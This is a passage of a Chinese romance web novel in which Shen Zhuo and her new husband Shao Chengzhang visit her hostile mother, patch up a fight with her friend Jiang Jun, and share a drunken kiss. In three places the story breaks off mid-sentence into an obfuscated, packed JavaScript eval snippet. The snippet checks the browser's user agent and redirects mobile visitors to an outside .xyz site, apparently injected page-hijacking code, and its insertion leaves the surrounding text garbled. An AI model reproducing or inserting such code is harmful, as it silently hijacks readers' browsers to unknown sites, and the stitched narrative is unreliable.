从寿司店到停车场还有一段不短的路，他们慢悠悠地并肩走着。夜色温柔，街灯昏黄，这时候温度不高不低，十分舒服。 走了一会儿，沈灼开口：“下次一定不会让你买单了。” 邵成章笑说：“试试看，下次想请我吃什么？” 心思太过明显。 沈灼笑了下，“你是想和我吃饭还是想让我请你吃饭？” “你觉得呢？”邵成章不答反问。 沈灼不接茬，说：“我可不像你，总是出入高档的餐厅，出国去吃米其林。”想到刚刚他和主厨聊起来的话题，沈灼忍不住挑眉，“我们平时喜欢去吃的都是不起眼的门头小店。” “那你是怎么判定我会不喜欢这种小店呢？” “很难想象。”沈灼确实想象不出来邵成章出现在嘈杂客满的餐馆里是什么样子，总感觉是那么格格不入。 “每个人都有很多面。” “嗯哼。”沈灼认同，“就像我也没想到你也是个社交达人，能和主厨聊得这么愉快，还以为你不善言辞不喜欢社交呢。” 邵成章垂眸看她：“在你的印象里，我是个很严肃的人吗？” “是吧。” “也许，你也可以试着了解我。”邵成章紧盯着她。 察觉到对方的视线，沈灼忍不住回望过去，却在对视的一瞬间又迅速移开，她哼了一声：“为什么不是你主动向我坦白自己呢？” 邵成章愣了一下，说，“在你面前的我，一直是真实的。” “那很公平，我也是一样。” “所以你愿意吗？” “我可是很忙的。”沈灼没直白地回答，但也没拒绝，她挑挑眉说，“看心情吧。” 邵成章笑了下，他偏头看着她，月色清清浅浅地落在她侧脸上，不敢声张的心动正在缓缓滋长。 二人驱车回家，路上沈灼收到关司予《雾灯》的签约合同，回去之后沈灼仔细看了一遍将一些细节又做了些修改，保存好准备明天再发给黎雅琦。 今晚沈灼决定早点睡觉，于是拿着睡衣准备去洗漱，路过那开放式衣柜的时候她撇了一眼，原先半空了的衣柜又满了。 洗完澡回到房间，她隐约能听到淅淅沥沥的水声，是邵成章在洗澡。她爬上床，依靠在床头刷手机。 没一会儿水声停了，她只是下意识地朝门口一瞥，结果那一眼让她整个人差点从床上弹起来：“哎——你干什么！”沈灼猛地转过头去，声音都有些炸毛，“你怎么不穿衣服就出来了！” 那一瞬间，她确实是看到了。 邵成章只在腰间随意围了条白色的浴巾，还有水珠顺着他额前的发梢滑落，沿着脖颈、锁骨一路蜿蜒。他的身形比她想象中更结实，肩膀宽阔，腹部线条清晰，肌肉并不夸张，恰到好处，却十分有诱惑力。 她居然——居然还忍不住吞了下口水！ 靠！！！ 即便拉上了窗帘，窗户映不出现在她的表情，邵成章从她又急又慌的语气里也能猜测出来她现在大概又羞红了脸。 他笑了下，他发现沈灼真的很容易脸红。 尴尬也脸红，生气也脸红，害羞也脸红，和她本人性格一点都不像。 真是可爱。 “忘了拿睡袍，我以为你不在房间。”他语气理直气壮，动作却慢悠悠的，邵成章走到开放式衣柜那边拿睡袍。 刚刚那一幕像被烙在脑子里一样，越是不想想，画面越清晰。她低声骂了句“变态”，结果那边传来一声轻笑。 “你说什么？” “……我说你快点穿衣服！！” “穿好了。” 沈灼确定自己听到他笑起来发出来的气音了，她又气又尴尬，自己刚刚的样子好像和没见过世面一样……都快三十的人了，谁还没看过几个裸.男啊。 她又不是没盯过男艺人现场拍杂志，有时候要求他们上半身半裸也很正常，她以前盯着电脑看图选图就从来没有这种气血上涌的感觉，在网上刷到露胸肌腹肌的博主也淡定极了，怎么刚刚就被惊吓成那样啊…… 如果再来一次，她绝对不会被吓得大叫，而要装作很淡定地上下扫视他一眼，而后冷冷地说：“也就一般。” 可是没如果……她忿忿地躺下，下一秒手一伸就关了卧室大灯，“困了，睡觉。” 邵成章在黑暗中弯了下嘴角，和她说了声“晚安”。 * 第二天简单吃过早餐，邵成章开车带着沈灼和买的大包小包去了迟女士家。 沈灼本以为迟女士虽然责怪自己结婚先斩后奏这事，但是对邵成章应该还称得上喜欢，毕竟是她看中他要自己去相亲的，今日相见完全不是这么一回事。 从邵成章进门，迟女士对他的态度简直一百八十度大转变，完全不似先前花式夸奖时的满意。 邵成章和迟女士打招呼，犹豫再三，还是跟着沈灼喊了声“妈”。迟女士“哎呦”了一声，“可千万别这么叫我，这茶我都还没喝，着什么急改口啊。” 沈灼皱了下眉头，邵成章愣了下随后微微一笑，说道：“那还是叫您迟阿姨吧，第一次正式见面，这是给您带的见面礼，希望您喜欢。” 迟女士随便拎起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681724|171859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个红色礼盒，盒子上金色烫金印着“日本网鲍干”。这盒十头网鲍，就要八千块。 迟女士看了看撇撇嘴：“现在日本核废水排放这么严重，谁还敢吃那边的海物啊。” 她又拿起一盒看，是野生海参，打量了一眼嫌弃道：“现在哪有什么野生海参，都是人工养好苗扔海里的。” 小两百一斤的黑刺王榴莲，迟女士是爱吃的，然而现在她却摆摆手：“吃不了吃不了，医生说了我血糖有点高，可不让我吃这些高糖的水果了。” 沈灼的脸一点点沉下去，“妈，你这也不吃那也不吃，干脆我们拿回去退了得了，还省钱了。” 迟女士瞪她一眼，“怎么，他给我花点钱你还心疼了？” “迟阿姨，沈灼不是这个意思。”邵成章帮忙解释。 “她是我生我养的，我能不知道她什么意思吗？”迟女士一点没给他面子，转身就往厨房走。 沈灼有些尴尬地对邵成章笑笑，就算迟女士再不喜欢他也不用这么当面驳人家吧。 邵成章摇摇头示意没关系，问她东西放哪儿合适。她直接提起来两袋子进了厨房，邵成章拎着剩下的跟在她身后。 “你先在客厅坐一下吧。”她赶他出去。 邵成章很听话，说了声好就出去坐着了。 沈灼转身，压低声音对迟女士说：“妈，你这是干嘛啊。你不喜欢人家也不用这样甩脸色吧。” “我这都是为了谁好啊！也就你傻，他说要结婚你就傻不拉几的和人家领证啊！你见过他家里人了吗，知道什么情况吗？彩礼提了吗？婚礼办了吗？这都是保障你知不知道。” 沈灼无奈地叹口气：“妈，我俩说好不办婚礼，也不要彩礼和嫁妆。” 听到女儿这话，迟女士抬手直接一巴掌拍在沈灼小臂上，“我怎么生了你这么个傻闺女！我吃过的亏还不够让你长脑子吗？当初我就是什么都不要，就这么从家里跑出来跟着你爸来到了这，结果呢！” “妈，你快小点声吧，生怕他听不见！我和邵成章结婚和你们不一样。再说你给我的前车之鉴就是不要结婚，不要靠男人过一辈子，而不是企图让我找一个好男人。你连沈复荣人品都没看透，就能保证你能看透其他男人吗？” 迟女士被沈灼气得结结巴巴，偏生她还没什么能反驳的，她转身推开门出去了。 沈灼心烦，从购物袋里拿出来几盒樱桃和蓝莓洗了洗，她尝了一颗，不酸也不甜，几乎没有什么味道。现在才五月初，根本不到吃樱桃的时候，又贵又难吃，偏偏还有邵成章这样的冤大头买。 沈灼端着水果来到客厅的时候，迟女士并不在客厅，沈灼找了一圈人，发现她正在洗手间手冲洗拖布。 迟女士熟练地将拖布夹在拖把上，拎着就出去开始从客厅开始拖地。 “妈，你又干什么？” “前几天身子感觉不大利索，这家也没收拾收拾，里里外外都是灰。今天有客人来，我总得拖拖地。” 沈灼简直无语，语气不耐：“那我给你找个钟点工过来打扫不就行了？” “就这么大点地方还用找人打扫吗？这时候你又不心疼钱了？”迟女士也没好气道。 邵成章闻声过来，对着迟女士说道：“阿姨我来吧，您坐着休息就好。” “行，那小邵来吧，小伙子总归比我有力气。”迟女士一点也不客气，立即停下将拖把递给他，“卧室阳台也脏了。” 邵成章应声答应。 沈灼一把握住拖把，“你不用做这些。”他怎么算都是客人，哪有主人让客人来家里做家务的？ “没关系，应该做的。你去和阿姨坐着聊聊天吧，我很快就拖好了。”邵成章对她温柔地笑笑。 沈灼突然别开眼睛，避开了他的视线，脑子里只有一个念头：他笑起来怎么这么好看？！ 22. 第 22 章 沈灼虽然坐在沙发上，但视线一直跟着邵成章和来回移动的拖布。在邵成章进到洗手间冲洗拖布的时候，沈灼立即跟了进去。 “抱歉抱歉，我真没想到今天会是这样。”沈灼双手合十，十分不好意思地和邵成章道歉。 “没关系，我说了这是应该做的。”邵成章将脏东西抖落到垃圾桶里，而后打开水龙头开始冲洗拖布。 “哎，你别干了，我妈也不知道今天怎么回事儿。”沈灼低着头一直在看邵成章的手。 水流冲到他的手背上，沿着青筋的纹理散开，拖布在宽大的手里搓揉几次后，又变得干净了。 “真的没事。”邵成章笑笑，抬眼从镜子里看向她，一副“简直是小事”的表情。他又摁了泵洗手液洗了一遍手，那是她常用的牌子。 听他这么说，她反倒更觉得不好意思了。空气里有她熟悉的柚子香，和和一点点、很难察觉但真实存在的悸动。 “沈灼？” “嗯？” 邵成章忽然叫了她一声，沈灼转头看向他，他湿漉漉的手掌毫无预兆地朝她轻轻一弹，几滴水珠直接崩到她脸上，额头、鼻尖、下巴，猝不及防。 她还没反应过来，便听到他低低的笑声，“怎么这么容易上当啊。” 邵成章拿起拖布笑着出去了，沈灼抬起手背擦了擦脸，刚刚还十分歉意的心情荡然无存，反而想冲出去从他背后踢一脚。 脸上还有没被擦去的小水珠，沈灼抽了张纸巾俯身凑近镜子，一点点将水珠按压干净，嘴角也一点点翘起来。 幼稚，他真够幼稚的！ 迟女士非常沉得住气，直到邵成章拖完地才悠悠起身去厨房准备午饭。沈灼跟着进去打下手，邵成章说也想帮忙被沈灼及时制止，她可不好意思再让他干活了。 迟女士要做炝拌土豆丝，土豆削皮擦丝的工作就交给了沈灼。她握着一个土豆，在擦丝器上擦成细丝，可土豆越擦越小，她今天有点心不在焉，没注意距离，指尖一滑，直接蹭到了锋利的擦丝刀口。 还好指甲挡了一下，划在指头上的伤口不深，不过还是流血了。前几秒她还没反应过来，等痛感传递到大脑，她“嘶”了一声。 “哎呦！怎么这么不小心，我看看！”迟女士看到沈灼指尖流血，立即放下刀，凑近了查看她伤口。 客厅里的邵成章听到动静，立刻起身进了厨房：“怎么了？”他一眼看到她捏着手指，指尖直冒鲜血，眉头一皱，大步走到她身边，“你受伤了？” 相比之下，沈灼更淡定点，血流的有点多，她直接含住受伤的一侧使劲吮吸，马上口腔里尽是血腥味道。 “擦着手了，没事没事。”她含含糊糊地说。 厨房本来就没多大，一下子沈灼旁边各站了一个人，突然就感觉拥挤。她又看了下手指伤势，已经暂时止住了血。 邵成章着急地问：“家里有碘伏和创可贴吗？” “有有有，我找找去。”迟女士说完，便出去找碘伏。 “我看看。”邵成章满眼都是关切。 “真没事。”说话间，细细的刀口里又开始冒血。 邵成章没应她，直接按住了她的食指，阻止流血，然后将她带到了洗碗槽前，打开水龙头冲洗了下。 “找到了找到了。”迟女士在茶几抽屉里翻出一盒创可贴和一瓶碘伏棉球。 “阿姨，给我吧，我来。”邵成章带着她走到客厅，让她坐在沙发上，他蹲下半跪在她面前，让她按压好手指，自己倒了一颗棉球出来。 沈灼低着头，看着他夹出一颗棉球，小心翼翼地在伤口周边擦拭消毒，一边擦一边轻轻吹着。那棉球碰到伤口，她轻轻抽了口气。 “忍一下。”他语气温柔，动作却利落，等消毒完他又仔细地揭开创可贴，给她贴上。 “你别进厨房了，碰到水再感染了。”邵成章说。 “天啊，”沈灼嘟囔一句：“我哪有那么娇气啊。” 邵成章没再和她争辩，而是径直走进厨房，接替了沈灼手上的活。 “哎，邵成章，过来。”她的声音从门口传来。 他一回头，就看到沈灼倚在厨房门边，手里晃着一条围裙，“给你带上。” 家里的水龙头坏了很久，迟女士总是记不起来修，一开就哗啦啦喷一大片，总是喷溅得哪里都是水。刚刚邵成章给她冲洗的时候，小腹那里的衬衫就有些被打湿了。 邵成章闻言走了过去，站在她面前。 “低头。”他个子很高，她够不到。 邵成章听话地微微弯腰，沈灼稍微踮脚将围裙给他套在脖子上，又让他转身在身后打了个结。 迟女士正在备菜，“哒哒哒”切菜的声音突然停下，她抬头撇了一眼站在厨房门口的小夫妻，什么都没说，接着“哒哒哒”的声音又连续不断地响起来了。 看到邵成章手上熟练的动作，迟女士一眼看出他平时也是常下厨的人，手法很娴熟，于是留了两道菜特意让他来，没想到味道都意外地不错。 在饭桌上，迟女士没再说什么，只是寒暄问他工作忙不忙之类的话题，倒是主动让他多夹点菜多吃点，邵成章笑着说好。 吃完饭，邵成章帮着一起收拾了碗筷，迟女士让沈灼下楼去超市买瓶洗洁精。 显然这是想支开她，沈灼下意识转身看向邵成章，她微微动动眉毛，眼神示意问他能不能应付，邵成章笑着对她点点头。 以沈灼对迟女士的了解，她大概也能猜到她要问什么，无非就是要一个保障。 她路过他的时候，顺势抓住了他的手腕，一路牵着他来到门口，压低声音嘱咐道：“要是我妈说了什么难听的，你别忘心里去，全都推到我身上就行了，也不要答应她任何要求，知道了吗？” 沈灼没等来回应，抬眼看他，只见他嘴角噙着笑正看着她。 笑笑笑，就知道这么对着她笑，狐狸精吗他！ 沈灼还握着他的手腕，邵成章的腕骨粗，她一手也就最多握住一半，她瞪了他一眼，用力捏压他手腕， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他说回家？！ 回什么家？回谁的家？沈灼不是在出差吗？不是五一不回来吗？不是说和她老公没有联系吗？ 姜珺惊愕的表情瞬间变得疑惑，她的目光从沈灼身上移向邵成章，又落回沈灼，答案呼之欲出。 沈灼怔在那里，嘴里喃喃地喊她的名字，“姜珺啊……” 邵成章也有几分不解，感觉两个人的情绪似乎都不太对，他试探地问道：“是你朋友吗？” 姜珺皱着眉头瞥了邵成章一眼，忽然就笑了，是气极反笑的那种冷笑，“行，我知道了，其实你根本就不用骗我说什么出差。”说完，她转身大步就走。 “不是不是！”沈灼急忙解释，她三步跨两步迈下台阶，急急追上去，“姜珺，不是这样的！” 邵成章站在台阶口，看着沈灼追出去的背影，眉头微微蹙起，现在是什么情况？ 23. 第 23 章 沈灼跑着追上去，和姜珺解释：“你听我解释，我不是故意要骗你的，我是不知道该怎么和你说，对不起对不起，我错了。” 姜珺的脚步顿了下，她低声骂了一句，随即转身瞪着沈灼：“我不理解，你有什么好骗我的？” 沈灼急切地打断她：“不是不是！” 姜珺冷笑一声：“这么多天你一直都住在他家吧？现在你可以回自己家了，我马上搬出去，不打扰你们。”她的脚步越来越快，冲出小区门口的时候正巧遇到有人从出租车下来。 “姜珺！”沈灼在她身后大喊。 可她丝毫没有犹豫，直接拉开出租车后门钻进去。沈灼快跑两步冲出去，手还没碰到把手，出租车就开走了。 “姜珺！”沈灼眼看着出租车在路口一个拐弯，然后消失不见。 她左右张望，来来往往的车辆刷刷地从身边经过，可是没有一辆空的出租车。 身后响起车鸣声，沈灼回头一看，邵成章已经开车出来了，她急忙拉开副驾的门，“麻烦你先送我回家，中湖一区，谢谢。”说完她才坐进来，手一伸迅速系好安全带。 沈灼给姜珺打了两个电话，连着两遍都是暂时无法接听。她们认识近十四年，这是第一次姜珺故意不接她的电话。 “完了，我完了。”沈灼叹了口气，懊恼地垂着头。 车里十分安静，邵成章没有播放音乐也没有调出调频广。前方的绿灯已经变黄灯，他慢慢减速，彻底停下之后，他问：“你们是朋友吗？” 他有点好奇她们的关系。 “姜珺，是我最最好的朋友。”沈灼说，“不，她对我来说，是家人。” “你们吵架的原因是……因为我吗？”邵成章记得姜珺似乎瞪了他好几眼。 “就是你啊！”沈灼突然提高音量，怒瞪着他，“说好了结婚以后不住一起的。如果不是你，我就不用骗她说我出差，这下好了，被她撞见了，我怎么和她解释？” “那为什么一开始不和她说实话？”邵成章追问下去。 “我……”沈灼被问得一滞，“我怎么知道……当时就那么说了。” “你知道刚刚特别像什么吗？”他忽然问。 “什么啊？”沈灼没好气地反问。 邵成章斟酌了几秒开口：“好像她是原配，我是你出轨的第三者。” 沈灼无语地笑了，这什么脑回路？ “所以接下来，是求得原配原谅，和小三分手的桥段了？” “也可以是和原配好聚好散，和第三者在一起的剧情。”邵成章嘴角勾起来。 “美得你。”沈灼冷哼一声，“说得我好像是个不负责任的渣女，这种时候请问小三不该反思一下吗？” “要这么说的话，一个巴掌拍不响，你就没错了吗？” 主要还是她的错，她得认，但实话她不爱听，只好瞪他一眼，“烦死了，你还是好好开车吧。” 空气静默几秒，红灯正在倒计时，邵成章单手握着方向盘，视线落在前方，唇角弧度不减。 车子直接开到单元楼下，沈灼和他道谢之后让他直接离开，并告知她这几天她不回悦澜湾了，她都不知道能不能哄好姜珺。 邵成章心下了然，只淡淡地和她说有事就给他打电话。 沈灼回到家，发现姜珺正在收拾自己的行李，“你要干什么啊——”她快步走过去，一手叉腰一手抵着额头有点不知所措。 “给你们腾地方呗。”姜珺头也不抬，把衣服叠好又卷起来码齐。 “姜珺你别这样，我真的错了。”沈灼蹲在姜珺的行李箱前，拦住她的手和她道歉。 姜珺冷着脸，一言不发，只是挣开她的手，起身又从衣柜里将自己的衣服扔到行李箱里。 “你原谅我吧，好不好？我真的不是故意骗你的，我从头到尾都说给你听，行不行？”沈灼语气又软了几分，可是姜珺仍然不为所动，仿佛屏蔽了她一般，只是自顾自在叠衣服。 “哎，到底要怎么样啊！你以为这些天我就舒服好过吗？我每次心烦的时候想找你，可是又怕被你知道，我都快烦死了……”说着说着，沈灼眼泪先掉下来了。 姜珺终于停下来，看了她一眼。 她太了解沈灼。 沈灼的泪点非常低，常常看到个救助小猫小狗的短视频就能被感动的掉眼泪，可是她很少把自己的情绪外露，每次和自己相关的事总是说得云淡风轻，更别说会主动展示自己的委屈。 姜珺实在生气，可看到她的眼泪，心里又感觉气消了大半，在想或许她是不是有不得已的苦衷。 即便是这么想，姜珺嘴上也不饶人：“我还没说什么，你先委屈上了？” “我就是委屈……你又不听我讲。” 姜珺装冷漠：“行了行了，别哭了，给你一次解释的机会。” 沈灼直接盘腿坐在行李箱旁，开口说：“你还记得那些Lumi的隐藏款吗……” 她将前因后果几乎事无巨细地和姜珺说了，说完，她小心地观察着姜珺的表情，“事情就是这样，我也不知道脑子怎么就抽了那么说。” 姜珺听完沈灼的讲述之后，几乎已经消气了，她故意冷着脸再试探一下沈灼：“我有两个问题。” 沈灼连忙乖巧点头：“你问吧。” “第一个，你觉得自己错哪儿了？” 沈灼有信心回答正确：“我不该骗你，尤其是我不该为了一个男人骗你。” 姜珺“嗯”了声，“第二个，你为什么不敢和我说你要和他住在一起？” ……怎么能问和邵成章一样的问题啊！ 沈灼想了想，说：“可能是有两方面的原因。一是咱们之前不是讨论过结婚的问题吗，我可能打心里觉得如果我和邵成章在一起。” 沈灼顿了下，重新强调她说的‘在一起’的意思，“就只是住在一起，没有其他的关系，可能是对我们关系的一种……背叛？我怕你会不开心……还有一个是我觉得你肯定会担心我，不让我去，但是我已经答应他了，所以才……总之就是对不起，我错了，我再也不骗你了，真的！” 她双手合十，整个人靠在姜珺肩膀上，“你别生气了好不好？” “哼，现在才知道后悔认错了，要不是今天我去阿姨那撞见，你还得骗我到什么时候？”姜珺故意顶了下肩膀，但是沈灼靠得死死的，一点也没把她晃下去。 “本来就打算找机会告诉你的，真的！你都不知道这段时间我都不敢找你说话，都快憋死了，生怕露馅被你知道生气，结果你还是这样知道了。”沈灼直起身子，“要打要罚我都认，就是你不能不理我，不能因为这件事影响我们的关系。” “你说我们是什么关系？” 沈灼说：“家人。” “那家人会因为生气就再也不理对方了吗？”姜珺反问。 “当然不会！”沈灼反应过来，笑嘻嘻地抱住她，“我就知道你肯定会原谅我的。” 姜珺“嘁”了声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“从刚开的时候就挺火，十一点之前会有乐队演出，十一点之后改夜场。开了两年我也就来过一次，上次人也不少。”姜珺和她解释，“怎么整？是等等还是我们换别家？” 沈灼想了想说：“你等我去问一下。” 她走到队伍最前端，拿出那张会员卡递给在门口发号的酒侍生，“你好，麻烦请问你们家的会员卡可以预约卡座吗？” 酒侍生拿过会员卡，按照卡号一查询，微微对着沈灼一笑，说了句“请稍等”。他直接拿起手机拨了个电话。 “对，是邵先生的卡。”酒侍生又看了沈灼一眼，回答对方：“是位女士……好……好的。”酒侍生挂了电话，将卡还给沈灼，微笑着说：“您再稍等一下，一会儿有人带您进去。” 沈灼没想到这会员卡真的有用，还好出门前带上了，她把卡收进包里，回头喊了声姜珺，朝她招招手。 “啊？可以进了？”姜珺睁大眼睛惊叹道，她已经在平台上看其他酒吧推荐了。 “嗯哼。”沈灼挽着她的胳膊，笑着说：“今晚沈女士买单，随便喝。” 正在排队的人不满意了，朝着侍者嘟囔：“不是不接受预约吗？怎么她们就能进啊？” 侍者很有礼貌地回复：“您好，SVIP的客人可以免预约排队。” 姜珺压低声音：“小灼子，你用了钞能力啊！”她假装抽泣两声，还用手指抹抹眼角，“我真是太感动了……” 沈灼讪讪一笑：“那个，我得和你坦白一件事。” “什么？”姜珺又一秒正经地看着她。 “我刚刚用的……”沈灼有点心虚，“是邵成章的卡。不过今晚肯定是我买单，绝对不花他的钱借花献佛。” 沈灼还蛮担心姜珺会介意，谁知姜珺瞪她一眼，“为什么不花？！咱俩今天吵架是因为谁啊，不花白不花！我还得狠狠敲他一笔呢！” 26-30 第26章 不同于之前的轻触，邵成章这次的吻带着明显的侵略性。 唇齿交缠，温柔又强势地攻城略地。 沈灼整个人被亲得晕晕乎乎，任由他一点点推进，领着她沉溺下去。 邵成章明显感受到了自己的反应，理智终于在这时猛地拉回了他。 他的手指微微收紧，又一点点放开。他强迫自己停下，嘴唇在她唇上犹豫了两秒，又在她的唇角轻咬了一口才终于克制地离开。 沈灼睁开眼睛，有些怔愣地看着他。 邵成章喉头滚了滚，声音低哑得几乎不像他自己，“再亲下去，我就不会停了。”他领着沈灼回了房间，让她先睡觉。 “不行。”沈灼却摇了摇头，眼神迷蒙地嘟囔道：“还没卸妆。” 邵成章低头看着她，耐着性子问：“你能自己卸吗？” 沈灼眨巴着眼睛，迟疑了几秒，摇头晃脑道：“能……啊。” 邵成章无奈，指尖抵着额头轻敲了两下，叹息着想，以后无论如何也不能再让她喝醉了。 再次返回洗手间，邵成章搜索了卸妆顺序，找到了卸妆油和洗面奶。 平时沈灼几乎就画个淡妆，稍微打个底就行了，今天却画了一个很精致的妆容。 微闪的眼影加微挑眼线映的眼睛勾人，低饱和的红棕色唇膏让她看起来少了几分日常的冷淡，尤其笑起来，多了几分妩媚。 在昏暗的酒吧灯光下，他第一眼看到她时，就几乎移不开眼。 他收回视线，挤了一泵卸妆油在掌心，微凉的液体流动间带着一点滑腻感。指腹蘸取着液体轻轻抹在她额头上，缓慢打着圈按摩。 沈灼立刻闭上了眼睛，微微仰着头，像一只懒洋洋的小猫，任由他摆弄。 邵成章的指腹在她肌肤上游走，从额头到太阳穴，再到细致的眼周。他动作极轻，每一下摩挲都像无声的撩拨。 沈灼倏地睁开眼睛，带着醉意后的懵懂与倦怠望着他。一瞬间，两人的视线在半空中撞上。邵成章的指尖还停留在她的太阳穴上，动作也不自觉顿住了。 时间仿佛凝滞了。 他们隔得极近，呼吸交缠，他能清楚看到她琥珀色瞳孔里自己的倒影，也能闻到她身上淡淡的酒味和香水味，混杂成一种近乎诱惑的气息。 邵成章深呼吸，几乎是克制地说：“闭上眼睛。” 沈灼又听话地闭上眼。 拇指在她眼睑上缓缓揉开亮晶晶的眼影，细长的眼线被一点点擦拭干净，打湿的睫毛扫过他的指尖，痒得他心神微颤。 邵成章压下心里的异样，继续往下沿着她挺翘的鼻梁打圈，指腹轻轻滑过鼻尖，再沿着脸颊骨骼一路下滑，细细描摹她柔软的轮廓。 最后，他的手指停在了她的唇上。 沈灼的嘴唇因为刚刚激烈的亲吻有些微微肿，在灯光下还泛着一点湿润的光泽，看起来既无辜又勾人。 他本来只是想把残留的口红擦掉，但指腹刚一按上那温软，记忆里那个绵长而甜腻的吻便瞬间卷土重来。 邵成章呼吸一窒，喉结轻轻滚动了一下，刚刚冷静下来的冲动又如翻江倒海来势汹汹。 他加快了动作，尽量克制着自己，只用最迅速的力道擦拭干净她唇上的口红，动作不再像之前那样温柔细致，甚至带了点仓促。 “感觉好像在美容院做清洁哦。”沈灼还闭着眼睛，忽然笑了下，“你是几号，我要给你五星好评。” 邵成章顾不上回答她的问题，打湿了洁面巾将脸上的卸妆油擦拭干净，怕卸不干净，他又拿洗面奶给她擦了一遍，给沈灼洗完脸，邵成章的袖子都被水打湿大半。 还好是电动牙刷，邵成章给她挤好牙膏确定她能拿着自己刷牙才递给她，他单手掐腰站在一旁，另一只手虚虚环住沈灼怕她摔着。瞥到台子上的隐形眼镜护理液，猜到沈灼应该还带着美瞳，这可有点麻烦。 “刷完了。”沈灼素着一张脸，对着镜子看向身后的邵成章，乖乖的，像打报告一样。 “嗯，真棒。”邵成章看向镜子里的她，启用鼓励式教育，“隐形眼镜要怎么摘？”他实在是不敢帮她摘隐形，怕弄伤她。 “可以啊，就这样。”沈灼用手轻轻一捏，从眼睛里直接摘出来一只，看得邵成章目瞪口呆，接着她又摘下来另一只，拿给邵成章看。 “很厉害。”邵成章感觉自己像在哄小朋友一样。 沈灼点点头：“嗯，我可厉害了。” 邵成章无奈地笑了笑。 沈灼头晕的厉害，眼睛几乎睁不开，被邵成章扶着回到床上，她几乎沾着枕头就昏睡过去。 邵成章掐腰立在一旁，盯着床上已经熟睡的人，长长地呼出一口气，他现在急需冲个冷水澡。 * 沈灼很久没喝得这么上头过了，这一觉睡得很长，又夹杂着乱七八糟的梦。醒来之后她头还晕晕的，甚至有些想吐，没想到那杯酒后劲这么大，她都怀疑是不是喝了假酒。 喉咙发干发涩，连思考都慢了半拍。眨了眨眼，试图让视线聚焦，随后下意识地扫了眼四周。她在悦澜湾？ 床头柜上有一杯白开水，沈灼拿起来还有点温热，她咕咚咕咚地一口气喝下半杯。 她按了按太阳穴，不对啊，昨晚不是和姜珺在一起的吗？怎么在这里了？她下意识看了下衣服，还穿着昨晚的小黑裙，沈灼松口气。 昨晚是怎么回来的？ 零零散散的画面像海浪似的一股脑扑过来。 深邃的眼睛，高挺的鼻子，红软的薄唇，性感的喉结……她脑子里闪过的片段拼凑起来全是邵成章。 这些画面是真实发生的还是她在做梦？ 她强迫自己回忆，终于记起来她说她想试试。对，她想亲他。 她亲他了？！ 沈灼猛地僵住，呼吸也跟着一滞。她没有和邵成章接吻的画面记忆，可是她的嘴巴有，她记得唇舌交缠的触感，记得和他亲吻时发出的啧啧水声，也记得自己有一度快要呼吸不过来。 沈灼下意识地抿起嘴唇，手捂住嘴巴。 天啊！她不仅强吻了邵成章，还和他来了个法式热吻。 原来自己这么猛烈吗？猛的都刷新了对自己的认知。 她觉得自己现在要烧起来了。 “……完了完了。”她低声喃喃，把脸埋进掌心，一颗害羞的心脏却在怦怦直跳。 好丢人。好羞耻。 这让她怎么面对邵成章啊！要是他全记得，那她这辈子的脸都得丢光了。 沈灼换了家居服，轻手轻脚地走出去，似乎没听见什么声响，也没看到人影，他好像是不在家。 她呼出一口气，能躲一时是一时吧。 钻进洗手间，看到洗漱台上原先被她摆放乱七八糟的瓶瓶罐罐现在已经被码得整齐有序，抬眼镜子里是一张干净但水肿的脸，她脑子里“嗡”一声，原来邵成章帮她卸妆也不是在做梦？！ 深呼吸，深呼吸……沈灼在心里默念，她盯着镜子里的自己，脑海里又忍不住回味起昨晚的记忆，感受那个吻。 等她再次回过神，竟然发现自己嘴角微扬。 她不得不承认，昨晚那一刻她是享受的，她是深陷其中的。 不，她才不会这样。 掐指一算，她一定是进入了排卵期。 被该死的激素操控一生的女人，她一边安慰自己一边唾弃激素变化，然后打开花洒洗了个热水澡。 洗完澡，她坐在吧台翘着腿，正优雅地捏着咖啡杯喝着冰美式消肿。 对，就是这样，现在冷静自持的她才是真正的沈灼，昨夜如狼似虎的女人不过是被激素和酒精控制了。 忘掉，全部忘掉。 “早啊。”身后却冷不丁传来一声熟悉的嗓音。 “咳咳咳……”沈灼吓了一跳，被呛着咳嗽起来。 他在家啊！ 她回头，看到邵成章正站在她身后不远处，手里还拿着一本书，正挑着笑看她。 “嗨，早啊……”沈灼强撑着露出一个笑容，干巴巴地应了两声。 邵成章走过去给自己倒了一杯水。 空气突然凝滞下来。 沈灼又抿了一口咖啡，可眼角的余光一直注意着他的动态。 可邵成章喝完水并没有要走的意思，他隔着吧台，目光灼灼地盯着她。 走啊，快走啊！沈灼面上淡定的很，内心已经心鼓乱擂。 “昨晚——”邵成章刚启口。 沈灼心头一紧，赶紧抢先打断：“昨晚的事我什么都不记得了。” 她太急于撇清，却都是破绽。 听她这么说，邵成章嘴角的弧度慢慢收了回去，“你以为昨晚发生了什么？” 嗯？难道是什么都没发生吗？所有的一切都是梦？ 可那个吻实在是太真实了啊，沈灼微皱起眉头，无意识地咬住下嘴唇。 “那应该是没发生什么吧？”但如果是做梦就真的太好了，沈灼松了一口气，冲他微微一笑，“我是想说，因为昨晚我喝醉了，如果我有做了什么越界的举动，希望你不要放在心上，那不是出于我的本意……总之，很谢谢你昨晚带我回来，又给你添麻烦了。” 听她这么说，邵成章已心下了然，他的目光沉下来，忽地冷笑一声：“不是出自本意吗？” “嗯。”沈灼点头，“希望没有对你造成困扰，我很少在外面喝酒，昨晚实在是例外，会员卡我会还给你的。” 